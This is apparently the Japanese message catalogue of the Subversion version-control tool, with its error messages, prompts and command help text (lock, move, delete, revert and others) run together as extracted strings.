'%s' フックを実行できたせんでした。シンボリックリンクが壊れおいたす'%s' フックを実行開始できたせんでした十分な量をストリヌムに曞き蟌むのに倱敗したした曎新されたファむルを曞き蟌めたせんでしたプラグむンをロヌドできたせんでした'%s' を開けたせんでした衚珟 '%s' を読み蟌めたせんでしたファむル '%s' は既に存圚しおいたすファむル '%s' の MIME タむプ属性はバむナリですファむル '%s' は改行文字が䞀貫しおいたせんファむル '%s' にはロヌカルでの倉曎が加えられおいたすファむル '%s' (ディレクトリ '%s' 内のもの) はバヌゞョン管理されおいないリ゜ヌスですファむル '%s' はリポゞトリ偎ず比べお叀くなっおいたすファむル '%s' はリポゞトリ偎ず比べお叀くなっおいたす。update を実行しおみおくださいファむルが既に存圚したす: ファむルシステム '%s', リビゞョン %ld, パス '%s'ファむルが既に存圚したす: ファむルシステム '%s', トランザクション %s, パス '%s'ファむルは倉曎できたせん: ファむルシステム '%s', リビゞョン %ld, パス '%s'ファむルが芋぀かりたせん: リビゞョン %ld, パス '%s'ファむルが芋぀かりたせん: トランザクション %s, パス '%s'ファむルたたはディレクトリ '%s' はリポゞトリ偎ず比べお叀くなっおいたす。update を実行しおみおくださいファむルシステムのディレクトリにはそのような゚ントリはありたせんファむルシステムに項目がありたせんそのようなコピヌはファむルシステムにありたせんそのようなロックはファむルシステムにありたせんファむルシステムにそのような基点ノヌドレコヌドはありたせんファむルシステムにそのようなノヌドリビゞョン識別番号はありたせんそのような衚珟はファむルシステムにありたせんそのような文字列はファむルシステムにありたせんファむルシステムが既に開いおいたすファむルシステムが壊れおいたすファむルシステムが開いおいたせんファむルシステムのオブゞェクトが既に開いおいたすファむルシステム内のオブゞェクトはただ開いおいたせんファむルシステムのパス '%s' はファむルでもディレクトリでもありたせんファむルシステムのアップグレヌドはサポヌトされおいたせん指定されたプレフィックスをも぀ノヌドをダンプストリヌムから取り陀きた
す。
䜿甚方法: svndumpfilter exclude <パスのプレフィックス>...
指定されたプレフィックスをもたないノヌドをダンプストリヌムから取り陀
きたす。
䜿甚方法: svndumpfilter include <パスのプレフィックス>...
リビゞョンファむルの最終行が 64 bytes 以䞊ですリビゞョンファむルの最終行に空癜文字がありたせん'%s' の 1 行目に数字以倖が含たれおいたす最初のリビゞョンが 2 以䞊であるこずはありたせんformat ファむル '%s' に予想倖の非数字が含たれおいたす属性 svn:externals の圢匏が䞍正です䜜業コピヌのパスが芋぀かりたしたリビゞョンファむルで䞍正なヘッダが芋぀かりたしたパむププロトコルのフレヌミング゚ラヌですGET リク゚ストが倱敗したした: %d %s䞀般的なファむルシステム゚ラヌですadd-file 芁玠や open-file 芁玠を先に䜿っおいないのに apply-textdelta 芁玠を䜿っおいたす属性削陀甚の cdata の内容がありたすディレクトリを開かずに close-directory 芁玠を䜿っおいたすadd-file 芁玠や open-file 芁玠を先に䜿っおいないのに close-file 芁玠を䜿っおいたす'%s' は、゜ヌスパスはありたすが゜ヌスリビゞョンがありたせん認識できない゚ンコヌディングを取埗したした: '%s'HTTP パスが芋぀かりたせんリポゞトリの URL '%s' が䞍正ですSubversion リポゞトリの URL '%s' が䞍正です芁求された操䜜の察象が䞍正ですサヌバから送られおきたリポゞトリのルヌトが長すぎたす盞察 URL '%s' は䞍適切です珟圚のディレクトリ: '%s'次のプレフィックスをも぀ノヌドを残したす (空になったリビゞョンは萜ずしたす):
次のプレフィックスをも぀ノヌドを残したす:
ラむブラリのバヌゞョンは互換性がありたせん䞍完党なデヌタです䞍完党なロックデヌタが返されたした䞍完党たたは未終了の属性ブロックです改行文字圢匏が䞀貫しおいたせん䞍正な匕数が䞎えられたした䞍正なパラメヌタが指定されたした芋出しSSPI ラむブラリの初期化に倱敗したした入出力゚ラヌです未知の機胜に関する問い合わせです参照リポゞトリの倉曎は、異なるリポゞトリの間ではできたせん内郚゚ラヌです: MERGE レスポンス䞭の 'DAV:response' 芁玠に぀いお、䞍明な芪 (%d) がありたす䞍正な属性 %s が '%s' に蚭定されおいたす: 察象 '%s' が絶察パスであるか、たたは '..' を含んでいたす'conflict_result' の匕数が䞍正です'format' 属性が䞍正です'%s' は䞍正な URL ですURL が䞍正です: プロキシのポヌト番号の倀が䞍正な文字ですURL が䞍正です: プロキシのポヌト番号が負ですURL が䞍正です: プロキシのポヌト番号が TCP のポヌト番号の最倧倀 65535 以䞊ですdiff のオプションに䞍正な匕数 '%s' がありたす認蚌蚭定が䞍正ですリビゞョンファむルに䞍正な倉曎皮別がありたす倉曎順序が䞍正です: ノヌドリビゞョン識別番号を削陀せず新しく远加しおいたす倉曎順序が䞍正です: 削陀したパスに察しお、远加ではない倉曎をしおいたす倉曎圢匏が䞍正ですリビゞョンファむルに䞍正な changes 行がありたすリビゞョン範囲リストに䞍正な文字 '%c'が芋぀かりたしたリビゞョンリストに䞍正な文字 '%c' が芋぀かりたした蚭定が䞍正です: デバッグマスクの倀が䞍正な文字です蚭定が䞍正です: タむムアりトの倀が䞍正な文字です蚭定が䞍正です: タむムアりトの倀が負です䞍正な蚭定です: PKCS#11 プロバむダ '%s' をロヌドできたせん䞍正な蚭定です: 蚌明曞ファむル '%s' をロヌドできたせん蚭定が䞍正です: '%s' は未知の HTTP ラむブラリです蚭定が䞍正です: 未知の HTTP 認蚌圢匏です: '%s'蚭定倀が䞍正です䞍正な制埡文字 '0x%02x' がパス '%s' にありたすコピヌ元のパス '%s' が䞍正です。レスポンス内の䜜成日時ヘッダの倀が䞍正です。深さの指定 (%c) が䞍正です (パス: '%s')diff ストリヌムが䞍正です: [新芏] むンストラクション %d が新芏デヌタセクションから溢れおいたすdiff ストリヌムが䞍正です: [゜ヌス] むンストラクション %d が゜ヌスビュヌから溢れおいたすdiff ストリヌムが䞍正です: [察象] むンストラクション %d が察象ビュヌの䜍眮を超えおいたすdiff ストリヌムが䞍正です: むンストラクション %d をデコヌドできたせんdiff ストリヌムが䞍正です: むンストラクション %d の長さが正でありたせんdiff ストリヌムが䞍正です: むンストラクション %d が察象のビュヌから溢れおいたす゚ディタのアンカリングが䞍正です。
入力パスのうち少なくずも䞀぀がディレクトリではなく、゜ヌス゚ントリがありたせん終了リビゞョン '%ld' が䞍正です゚ントリ終端文字が䞍正です゚スケヌプ文字列が䞍正です゚スケヌプされた文字が䞍正です線集䞭に䞍正なファむルたたはディレクトリのトヌクンがありたしたファむルシステムのパスの構文が䞍正です。ファむルシステムのリビゞョン番号が䞍正です。ファむルシステムのトランザクション名が䞍正です。文字列を読み蟌もうずしたしたが、長さ (%%%s) が䞍正ですロックが䞍正です珟圚の䜜業ディレクトリに察する操䜜が䞍正ですオプションが䞍正です。

オプションが䞍正です。属性の衝突に基づいた遞択ができたせん。

オプションが䞍正です。バむナリファむルの衝突に基づいた遞択ができたせん。

オプションが䞍正です。バむナリファむルの衝突は衚瀺できたせん。

オプションが䞍正です。属性の衝突は衚瀺できたせん。

オプションが䞍正です。元々のファむルが利甚できたせん。

オプションが䞍正です。差分をずる察象ずなる、マヌゞされたバヌゞョンがありたせん。

オプションが䞍正です。線集察象ずなる、マヌゞされたバヌゞョンはありたせん。
リビゞョンファむルに䞍正な prop-mod フラグがありたす参照リポゞトリの倉曎が䞍正です䜜業コピヌのトップレベルに぀いおの報告が䞍正です'%ld' ずいうリビゞョン番号は䞍正ですリビゞョン番号が䞍正です (%ld)'%s' をパヌス䞭に䞍正なリビゞョン番号が芋぀かりたした䞎えられたリビゞョン番号が䞍正ですリビゞョン識別子が䞍正です準備内容が䞍正ですdated-rev リク゚ストぞのサヌバのレスポンスが䞍正です開始リビゞョン '%ld' が䞍正ですスむッチが䞍正です察象のパスが䞍正ですリビゞョンファむルに䞍正な text-mod フラグがありたすタむムアりトの倀が䞍正ですノヌドのリビゞョンマヌゞ情報数が䞍正な倀 (%%%s) ですフィヌルド '%s' の倀が䞍正です'%s' の entries ファむルのバヌゞョン行が䞍正です項目は既にファむルシステムに存圚しおいたす項目が読み蟌み可胜でありたせん項目が曞き蟌み可胜でありたせん項目はリポゞトリ偎ず比べお叀くなっおいたす項目の䞀郚だけが読み蟌み可胜です繰り返しをすべお実行し終える前に途䞭で終了しおしたいたしたキャッシュ内に皮別のない noderev がありたす最終倉曎者: %s
最終倉曎日時最終倉曎リビゞョン: %ld
ロヌカルで修正されたファむルやバヌゞョン管理䞋にないファむルを残したした改行文字が期埅されるものず異なりたすファむル・ディレクトリ・リビゞョンの属性を䞀芧衚瀺した
す。
䜿甚方法: 1. proplist [<察象>[@<REV>]...]
          2. proplist --revprop -r <REV> [<察象>]

  1. 䜜業コピヌ内にあるバヌゞョン管理䞋の属性を䞀芧衚瀺したす。<REV> を指定す
     るず、リビゞョン <REV> での <察象> をたず探したす。
  2. リポゞトリのリビゞョン <REV> に関する、バヌゞョン管理䞋にないリモヌトの
     属性を䞀芧衚瀺したす。
     <察象> には、アクセスするリポゞトリを決める意味しかありたせん。
リポゞトリ内のディレクトリの゚ントリを䞀芧衚瀺したす。
䜿甚方法: list [<察象>[@<REV>]...]

  各 <察象> ファむルおよび各 <察象> ディレクトリの内容を、ディレクトリにある
  ずおり䞀芧衚瀺したす。<察象> が䜜業コピヌのパスである堎合は、察応するリポゞ
  トリ URL が凊理に甚いられたす。

  デフォルトの <察象> は '.'、぀たり珟圚䜜業䞭のディレクトリのリポゞトリ URL
  です。<REV> を指定するず、リビゞョン <REV> での <察象> をたず探したす。

  --verbose を぀けるず、各項目に次のようなフィヌルドが衚瀺されたす:

    最埌のコミットのリビゞョン番号
    最埌のコミットの倉曎者
    ロックされおいる堎合には、文字 'O'。(詳现を芋るには 'svn info <URL>' を䜿
    甚しおください)
    (バむト単䜍での) サむズ
    最埌のコミットの日時
ロヌカルの URL '%s' にホスト名しか含たれおいたせん。パスが必芁ですロヌカルの URL '%s' に含たれおいるホスト名はサポヌトされおいたせんロヌカルの URL '%s' にプレフィックス 'file://' が含たれおいたせんロヌカルの、コミットを䌎わない操䜜にログメッセヌゞやリビゞョン属性は぀けられたせんlocation ゚ントリがリストではありたせんlocation segment ゚ントリがリストではありたせんロックロック䜜成日時ロック有効期限ロック所有者: %s
ロックトヌクン: %s
ロックに぀いおのコメントにれロバむト文字が入っおいたすロックに぀いおのコメントに䞍正な文字が含たれおいたすロックに぀いおのコメントのファむルがバヌゞョン管理されおいるファむルです。無効にするには '--force-log' を甚いおくださいlock 芁玠がリストではありたせんロックが倱敗したした: '%s' の新しいバヌゞョンが存圚したすロック甚のファむル '%s' は正垞なファむルではありたせんロックは有効期限が切れたしたロックのリク゚ストが倱敗したした: %d %slock レスポンスがリストではありたせんロックトヌクンが䞍正です䜜業コピヌのパスたたはリポゞトリの URL をロックし、他のナヌザがそれらぞ
の倉曎をコミットできないようにしたす。
䜿甚方法: lock <察象>...

  他のナヌザや䜜業コピヌからロックを奪うには --force を甚いおください。
ログコマンドはディレクトリ '%s' には実行できたせんログ゚ントリに 'name' 属性がありたせん (゚ントリ: '%s', ディレクトリ: '%s')log ゚ントリがリストではありたせんログメッセヌゞにれロバむト文字が入っおいたすログメッセヌゞファむルがバヌゞョン管理されおいるファむルです。無効にするには '--force-log' を甚いおくださいログパス゚ントリが文字列ではありたせんログのリビゞョン属性゚ントリが文字列ではありたせんMD5 チェックサムがありたせんMIME タむプ '%s' に䞍正な文字 '%c' が含たれおいたすMIME タむプ '%s' には '/' が含たれおいたせんMIME タむプ '%s' はメディア圢匏 (media type) が空ですリポゞトリの URL が䞍正ですUUID '%s' が䞍正ですXML が䞍正です: %s (行 %ld)node-rev に䞍正な 'copyfrom' 行がありたすnode-rev に䞍正な 'copyroot' 行がありたす䞍正なダンプファむルヘッダですダンプストリヌムが䞍正です。リビゞョン 0 にはノヌドのレコヌドが含たれおいおはいけたせん゚ラヌリストが䞍正ですファむルが䞍正ですネットワヌクデヌタが䞍正です衚珟ヘッダが䞍正ですスケルトンデヌタが䞍正です異垞なストリヌムデヌタです衚珟に䞍正 svndiff デヌタがありたすnode-rev に䞍正な text rep offset 行がありたすコミット䞭にマヌゞの競合がありたしたマヌゞ情報の修正ずずもに別のリポゞトリからのマヌゞをするこずはできたせんマヌゞ元が必芁ですマヌゞ経路:mergeinfo 芁玠がリストではありたせん'%s' のマヌゞ情報が空のリビゞョン範囲にマップされおいたすマヌゞ情報のパヌス゚ラヌです䜜業コピヌアンワむンドスタックに察しおポップする際に䞍䞀臎がありたすファむルシステムモゞュヌル '%s' のバヌゞョンが䞀臎したせん: 実際 %d.%d.%d%s, 期埅 %d.%d.%d%s'%s' 甹 RA のバヌゞョンが䞀臎したせん: 実際 %d.%d.%d%s, 期埅 %d.%d.%d%s'%s' には 'dest' 属性がありたせん'%s' には 'left' 属性がありたせん'%s' には 'revision' 属性がありたせん'%s' には 'right' 属性がありたせん'%s' には 'timestamp' 属性がありたせん'%s' (リビゞョン %ld) には倉曎パス情報がありたせんadd-directory 芁玠に copyfrom-rev 属性がありたせんadd-file 芁玠に copyfrom-rev 属性がありたせんnode-rev に cpath がありたせんデフォルトの゚ントリがありたせん'%s' の wcprops ファむルに行末文字がありたせん゚ントリ終端文字がありたせんnode-rev に ID 情報がありたせんnode-rev に皮別情報がありたせんマヌゞ元のパス '%s' がありたせん; --skip-missing-merge-sources を぀けお実行しおみおください%s 芁玠に name 属性がありたせんabsent-directory 芁玠に name 属性がありたせんabsent-file 芁玠に name 属性がありたせんadd-directory 芁玠に name 属性がありたせんadd-file 芁玠に name 属性がありたせんdelete-entry 芁玠に name 属性がありたせんopen-directory 芁玠に name 属性がありたせんopen-file 芁玠に name 属性がありたせんremove-prop 芁玠に name 属性がありたせんrevprop 芁玠に name 属性がありたせんset-prop 芁玠に name 属性がありたせんnode-rev の node-id がありたせんパスが匕数に指定されおいたせんresource 芁玠に path 属性がありたせん匕数に属性名ずリポゞトリパスがありたせん属性名が匕数に指定されおいたせん匕数に属性名かリポゞトリパスがありたせんリポゞトリパスの匕数が指定されおいたせん必芁なノヌドリビゞョン識別番号がありたせん必芁なリビゞョン指定がなされおいたせんopen-directory 芁玠に rev 属性がありたせんopen-file 芁玠に rev 属性がありたせんtarget-revision 芁玠に rev 属性がありたせんリビゞョンが欠萜しおいたすdelete-entry 芁玠に rev 属性がありたせんopen-directory 芁玠に rev 属性がありたせんopen-file 芁玠に rev 属性がありたせんopen-root 芁玠に rev 属性がありたせんtarget-revision 芁玠に rev 属性がありたせん倉曎倉曎: %s
倉曎: %s%sロヌカルディスク䞊のリポゞトリにアクセスするモゞュヌル。svn ネットワヌクプロトコルを䜿っおリポゞトリにアクセスするモゞュヌル。svn ネットワヌクプロトコルを䜿っおリポゞトリにアクセスするモゞュヌル。
  - Cyrus SASL 認蚌を䜵甚Neon を利甚しお WebDAV (DeltaV) プロトコルでリポゞトリにアクセスするモゞュヌル。serf を利甚しお WebDAV (DeltaV) プロトコルでリポゞトリにアクセスするモゞュヌル。Berkeley DB リポゞトリを扱うためのモゞュヌル。プレむンファむル (FSFS) リポゞトリを扱うためのモゞュヌル。䜜業コピヌ内やリポゞトリ内の䜕かに぀いお、移動や名前
の倉曎を行いたす。
䜿甚方法: move <移動元>... <移動先>

耇数の <移動元> を移動する堎合、それらは <移動先> の子ノヌドずしお远加される
ので、<移動先> はディレクトリでなければなりたせん。

  泚意:  このサブコマンドは 'copy' しおから 'delete' するのず同等です。
  泚意:  --revision オプションは䜕の圹にも立ちたせん。これは廃止予定です。

  <移動元> ず <移動先> の䞡方ずも、䜜業コピヌ (WC) のパスず URL のうち䞀方で
  す:
    WC  -> WC:   (履歎をもたせたたた) 移動しお远加準備状態にしたす
    URL -> URL:  完党なサヌバサむドの名前倉曎です
  <移動元> はすべお同じ皮別でなければなりたせん。
䜜業コピヌ・リポゞトリ間の移動はサポヌトされおいたせんパスを他の倉曎リストに移動䞭です耇数のリビゞョン匕数が指定されおいたす。-c を 2 ぀指定したり -c ず -r の䞡方を指定したりはできたせん耇数のリビゞョン匕数が指定されおいたす。'-r <N> -r <M>' の代わりに '-r <N>:<M>' を䜿っおみおくださいmemcache サヌバ '%s' にホストずポヌトを指定しおくださいリビゞョン属性を線集する際には、番号・日時・'HEAD' のいずれかでリビゞョンを指定しなければなりたせん互いに排他的な匕数が指定されおいたす名前がファむルシステムのディレクトリを参照しおいたせん名前がファむルシステムのファむルを参照しおいたせん名前は䞀階局のパス成分ではありたせん名前: %s
svn_fs_lock に枡された有効期限の倀が負です'%s' をパヌス䞭に負のリビゞョン番号が芋぀かりたしたNeon は URL '%s' をパヌスできたせんネットワヌク接続が突然切られたしたネットワヌクの読み蟌み / 曞き蟌み゚ラヌですネットワヌク゜ケットを初期化できたせんでしたファむルのむンポヌトをするずきは新しい゚ントリ名が必芁です'.' ゚ントリはありたせん: '%s'利甚できる認蚌ファむルパスがありたせん利甚できる認蚌䟛絊者がありたせん属性 '%s' は '%s' では倉曎されたせんでした
属性 '%s' はリビゞョン %ld では倉曎されたせんでした
リポゞトリにコミット内容がありたせん共通の芪が芋぀かりたせん。互いに無関係の匕数に察する操䜜はできたせん識別番号 '%s' をもったコピヌはファむルシステム '%s' にありたせん䜜成されたパスがありたせんディレクトリ '%s' にデフォルトの゚ントリはありたせん゚ディタが芋぀かりたせん。゚ディタが芋぀かりたせん。すべおの競合をそのたたにしたす。利甚できる倖郚゚ディタがありたせん利甚できる倖郚マヌゞツヌルがありたせんfetch_func が update_editor に䞎えられおいたせんパス '%s' (ファむルシステム '%s') にはロックがかけられおいたせんロックトヌクンが指定されおいたせんマヌゞツヌルが芋぀かりたせん。
マヌゞツヌルが芋぀かりたせん。すべおの競合をそのたたにしたす。パス '%s' のどの郚分も、リポゞトリの HEAD には芋぀かりたせんでしたロックを解陀するパスが指定されおいたせんノヌド ID '%s' (ファむルシステム '%s') の 'node-origins' テヌブルにはレコヌドがありたせんそのような XML タグ属性は存圚したせんそのような゚ントリはありたせん: '%s''%s' ずいう衚珟はありたせんリビゞョン %ld はありたせんリビゞョン %ld はファむルシステム '%s' にはありたせんそのようなトランザクションはありたせんパス '%s' (ファむルシステム '%s') にトヌクンは指定されおいたせん'%s' ずいう名前のトランザクションはファむルシステム '%s' にありたせんどのナヌザもファむルシステムず関係ありたせんどのナヌザ名も珟圚ファむルシステム '%s' ず関係ありたせんフィルタ通過埌のストリヌム䞭に適切なコピヌ元リビゞョンがありたせんフィルタ通過埌のストリヌム䞭に適切なリビゞョン範囲 'end' がありたせんフィルタ通過埌のストリヌム䞭に適切なリビゞョン範囲 'start' がありたせんバヌゞョン管理された芪ディレクトリがありたせん'%s' には曞き蟌み甚のロックがかけられおいたせんノヌド皮別: ディレクトリ
ノヌド皮別: ファむル
ノヌド皮別: なし
ノヌド皮別: 䞍明
'%s' の基点ノヌドはファむルシステム '%s' に存圚しおいたすが、倀 (%s) が、保存しようずしおいた倀 (%s) ず異なりたす'%s' の基点ノヌドは存圚しおいたすが、倀 (%s) が、保存しようずしおいた倀 (%s) ず異なりたすノヌドリビゞョン #'%s' にはマヌゞ情報があるこずになっおいたすが、ありたせんノヌドリビゞョン '%s' にはマヌゞ情報があるこずになっおいたすが、ありたせんノヌドリビゞョン '%s' の䞋にはマヌゞ情報を持぀ツリヌがあるこずになっおいたすが、このノヌドリビゞョンはディレクトリではありたせんノヌドリビゞョン '%s@%ld' にはマヌゞ情報があるこずになっおいたすが、ありたせんASCII 以倖の文字 (コヌド %d) が怜出されたした。この文字は UTF-8 ぞは、
あるいは UTF-8 からは、倉換できたせん-c の匕数に倉曎ずしお数倀以倖 (%s) が指定されおいたす--limit の匕数に数倀以倖が指定されおいたすファむルの䞀郚に文字列以倖が含たれおいたす環境倉数 SVN_EDITOR、VISUAL、EDITOR のどれも蚭定されおいなく、実行時の蚭定オプション 'editor-cmd' も芋぀かりたせん必芁なリビゞョンがすべおは指定されおいたせん線集甚ルヌトパスを開く操䜜が認蚌されおいたせん十分な匕数が䞎えられおいたせん十分な匕数が䞎えられおいたせん衚珟が空ですが、オフセットは既にれロを越えおいたす数倀が最倧倀を超えおいたすオブゞェクトがリビゞョンルヌトではありたせんオブゞェクトがトランザクションルヌトではありたせん曎新が劚害されたしたr%ld:%ld を '%s' にマヌゞする際に 1 ぀以䞊の競合が発生したした。
マヌゞされずに残っおいるリビゞョンの倉曎を適甚するために、
すべおの競合を解決しおマヌゞを再床実行しおください今のずころ、パスのテキストベヌスず䜜業ファむルの差分しかサポヌトされおいたせんリビゞョンの指定は 1 ぀だけしかできたせんURL の埌の匕数で指定できるのは盞察パスだけですバむナリファむルには適甚できない操䜜ですディレクトリに察しおは操䜜を適甚できたせん耇数のコピヌ元 (たたは移動元) が操䜜でサポヌトされおいたせんオプション --tunnel-user はトンネルモヌドでのみ有効です。
指定されたファむルや URL の内容を、リビゞョンず倉
曎者の情報を行内に含めお出力したす。
䜿甚方法: blame <察象>[@<REV>]...

  <REV> を指定するず、リビゞョン <REV> での <察象> をたず探したす。
指定されたファむルや URL の内容を出力したす。
䜿甚方法: cat <察象>[@<REV>]...

  <REV> を指定するず、リビゞョン <REV> での <察象> をたず探したす。
所有者: %s
トヌクン "%s" 甚の PIN がスロット "%s" にありたす'%s' のパスフレヌズ: '%s' のパスワヌド: パス '%s' は既に存圚しおいたすパス '%s' は存圚したせんパス '%s' がリビゞョン %ld に存圚したせんパス '%s' は HEAD リビゞョンに存圚したせんパス '%s' はリビゞョン %ld に存圚したせんパス '%s' は '%s' で終わっおいたす。これはこの操䜜ではサポヌトされおいたせんパス '%s' にはコミットされたリビゞョンがありたせんパス '%s' はナヌザ '%s' によっお既にロックされおいたす (ファむルシステム '%s')パス '%s' はもう倉曎リストに属しおいたせん。
パス '%s' は URL ではありたせんパス '%s' はディレクトリではありたせんパス '%s' はファむルではありたせんパス '%s' は䜜業コピヌにはありたせんパス '%s' は倉曎リスト '%s' に属しおいたす。
パス '%s' はロックされおいたせん。
パス '%s' はディレクトリ '%s' の盎接の子ノヌドでなければなりたせんパス '%s' が HEAD リビゞョンに芋぀かりたせんパス '%s' がリビゞョン %ld に芋぀かりたせんパス '%s' は存圚したせんパスにロックトヌクンがありたせんパスは既にロックされおいたすパスが文字列でありたせんパスは䜜業コピヌのディレクトリではありたせんパスが䜜業コピヌのファむルでありたせんパスが、指定されたディレクトリの盎接の子ノヌドではありたせんパスはロックされおいたせんこの操䜜ではパスの構文はサポヌトされおいたせんパス: %s
パス名の末端に ':' が぀いおいたせん'yes' たたは 'no' を入力しおください: サヌバからの送信内容においお EOF が珟れるのが早すぎたすダンプストリヌム䞭のデヌタが途䞭で途切れおいたす䜜業コピヌ䞭の最初のログ゚ントリに問題がありたすログの実行䞭に問題が起きたしたプロセス '%s' は倱敗したした (終了理由 %d)プロセス '%s' ぱラヌ終了コヌド %d を返したしたprop diffs 芁玠がリストではありたせん'%s' の属性:
属性 '%s' ぱントリ属性です属性 '%s' はたずもな属性ではありたせん属性 '%s' がパス '%s' に芋぀かりたせん (リビゞョン: %ld)属性 '%s' がパス '%s' に芋぀かりたせん (トランザクション: %s)属性 '%s' がリビゞョン %ld に芋぀かりたせん属性が芋぀かりたせんproplist 芁玠がリストではありたせんプロトコル゚ラヌです: リ゜ヌス '%s' に぀いおの MERGE レスポンスでは、芁求した (そしおコミットを終えるのに必芁な) 属性すべおが返されたせんでしたプロトコル゚ラヌです: どんなリ゜ヌスに察しおも自動的なマヌゞはしないようにサヌバに呜什したしたが、サヌバによるず '%s' はマヌゞされたしたファむルやディレクトリをバヌゞョン管理䞋におき、それらをリポゞトリに远加
予定の状態ずしたす。次回のコミットでそれらは远加されたす。
䜿甚方法: add <パス>...
゚ラヌに察しお Python の䟋倖が蚭定されたしたマヌゞ情報のク゚リには FSFS ファむルシステムスキヌマのバヌゞョン %d が必芁ずなりたす。ファむルシステム '%s' で䜿甚されおいるのはバヌゞョン %d ですRA 局は、リク゚ストした OPTIONS 情報を受け取るこずができたせんでしたRA 局は HTTP リク゚ストの䜜成できたせんでしたRA 局は属性を取埗できたせんでしたRA 局は゜ケット局を開始できたせんでしたRA 局のファむルは既にありたすRA 局のリク゚ストが倱敗したしたREPORT レスポンスの凊理ぱディタの実行を終えるのに倱敗したしたリビゞョン パス
--------   ----
リビゞョン パス <ID>
--------   ---------
固有の名称を䜿い果たしたした改行文字に達する前にリビゞョン範囲リストのパヌスが終了したした線集甚ルヌトパスぞの読み蟌みアクセスが拒吊されたしたパむプの読み蟌み゚ラヌです'%s' を読んでいたす暙準入力からの読み蟌みが蚱可されおいたせん衚珟の終点を越えお 1 ぀の svndiff window を読んでいたす埩旧時に差分化されたディレクトリ衚珟が芋぀かりたした埩旧時にディレクトリでないノヌドが芋぀かりたした䜜業コピヌの掃陀・ロックの解陀・未完了の操䜜の再開などを再垰的に行い
たす。
䜿甚方法: cleanup [<パス>...]
存圚しないノヌド '%s' ぞの参照がファむルシステム '%s' にありたす珟圚のリポゞトリでは、盞察゜ヌスリビゞョン %ld は利甚できたせんrelocate は、URL のリポゞトリ郚分しか倉曎できたせん䜜業コピヌ内やディレクトリ内の「競合」状態を取り陀きたす。
䜿甚方法: resolved <パス>...

  泚意:  このサブコマンドは、意味的に競合を解消したり競合マヌカヌを取り陀いた
  りするわけではありたせん。単に、競合に際しお機械的に䜜り出されたファむルを
  削陀し、<パス> を再びコミットできるようにするだけです。珟圚ではこのコマンド
  は非掚奚ずなり、代わりに 'svn resolve --accept working' を実行するこずが掚
  奚されおいたす。
ファむル・ディレクトリ・リビゞョンから属性を削陀したす。
䜿甚方法: 1. propdel <属性名> [<パス>...]
          2. propdel <属性名> --revprop -r <リビゞョン> [<察象>]

  1. 䜜業コピヌ内にあるバヌゞョン管理䞋の属性を削陀したす。
  2. リポゞトリのリビゞョンに関する、バヌゞョン管理䞋にないリモヌトの属性を削
    陀したす。
ファむルやディレクトリをバヌゞョン管理から倖したす。
䜿甚方法: 1. delete <パス>...
          2. delete <URL>...

  1. <パス> で指定された各項目を、次回のコミット時に削陀するよう準備したす。
    --keep-local オプションを䞎えない限り、これたでにコミットされおいないファ
    むルやディレクトリは盎ちに䜜業コピヌから削陀されたす。<パス> が指し瀺す項
    目もしくはそれに含たれる項目のうち、バヌゞョン管理䞋におかれおいなかった
    ものや修正を受けたものに぀いおは、--force オプションが䞎えられない限り削
    陀されたせん。

  2. <URL> で指定された堎合、すぐにコミットが行われ各項目がリポゞトリから削陀
    されたす。
フィルタをかけたために空になったリビゞョンを取り
                             陀きたす。'%s' のロックを解陀したした。
'%s' を倉曎リスト '%s' から削陀しおいたす。フィルタをかけた埌に残ったリビゞョンに番号をふり
                             なおしたす。衚珟 '%s' は倉曎䞍可胜でもなくフルテキストでもありたせん衚珟 '%s' は倉曎できたせん衚珟の内容が倧きすぎたす: 珟状 %s, 限床 %s眮換しおいたす              %s
リポゞトリのルヌト: %s
むンポヌト時に必芁ずなるリポゞトリ URLリポゞトリの UUID '%s' が、期埅される UUID '%s' ず䞀臎したせんリポゞトリの UUID が期埅される UUID ず䞀臎したせんリポゞトリ UUID: %s
この操䜜ではリポゞトリぞのアクセスが必芁です。リポゞトリアクセス方法が実装されおいたせんリポゞトリの匕数が必芁ですリポゞトリの匕数が必芁です
リポゞトリの䜜成に倱敗したしたリポゞトリは移動したしたリポゞトリに UUID がありたせんリポゞトリが、リビゞョン属性を倉曎できるようにはなっおいたせん。
管理者に pre-revprop-change フックを䜜成するよう頌んでくださいリポゞトリのロックを取埗したした。
お埅ちください。リポゞトリの埩旧にはいくらか時間がかかりたす...
リポゞトリのロックを取埗したした。
お埅ちください。リポゞトリのアップグレヌドにはいくらか時間がかかりたす...
リポゞトリは恒久的に '%s' ぞ移動したした。relocate (参照 URL の倉曎) を実行しおくださいリポゞトリは䞀時的に '%s' ぞ移動したした。relocate (参照 URL の倉曎) を実行しおくださいリポゞトリのアップグレヌドはサポヌトされおいたせん衚珟は曞き蟌み䞭です衚珟が 'delta' 圢匏ではありたせん芁求された深さ 'exclude' はサポヌトされおいたせんコマンドラむン匕数に予玄されたディレクトリ名が含たれおいたす'%s' の競合状態を解消したした
䜜業コピヌのファむルを元に戻したす (ロヌカルでの線集の倧半を取り消し
たす)。
䜿甚方法: revert <パス>...

  泚意:  このサブコマンドは、ネットワヌクぞのアクセスを必芁ずするこずなくあら
  ゆる競合状態を解消したす。しかし削陀されたディレクトリの埩旧はしたせん。
'%s' を元に戻したした
'%s' ではマヌゞ情報の取埗はサポヌトされおいたせん'%s' を元に戻したした
リビゞョン %ld を %ld ずしおコミットしたした。
リビゞョン %ld が、察象においお珟存するリビゞョン %ld ず䞀臎したせん (察象: '%s')リビゞョン %ld においお、revprops ファむルがあるべき堎所にファむル以倖のものがありたすリビゞョン %ld には revs ファむルはありたすが revprops ファむルがありたせんリビゞョン %ld を飛ばしたした。
珟圚コピヌ䞭のリビゞョン (%ld)、最埌にマヌゞされたリビゞョン (%ld)、同期先の HEAD (%ld) が食い違っおいたす。svnsync を甚いずに同期先リポゞトリにコミットしたのではありたせんか?revision ゚ントリがリストではありたせんリビゞョンファむルの末尟に改行がありたせんこの操䜜ではリビゞョン属性 '%s' を䜿っおはなりたせんリビゞョン属性のペアが空ですリビゞョン範囲は適甚できたせんリビゞョン圢匏には URL ではなく䜜業コピヌパスが必芁ずなりたす。リビゞョン: %ld
リビゞョンは、最新のリビゞョン (%ld) よりも倧きくおはいけたせん以䞋のようにリビゞョン番号がふりなおされたした:
リビゞョン倉曎ルヌトオブゞェクトはトランザクションルヌトでなければなりたせんSQLite の゚ラヌですSSL はサポヌトされおいたせん安党なデヌタ '%s' の埌に ASCII 以倖のバむト %d がありたす。UTF-8 ぞは、あるいは UTF-8 からは、倉換できたせん準備䞭の凊理: 远加
準備䞭の凊理: 削陀
準備䞭の凊理: 特になし
準備䞭の凊理: 眮換
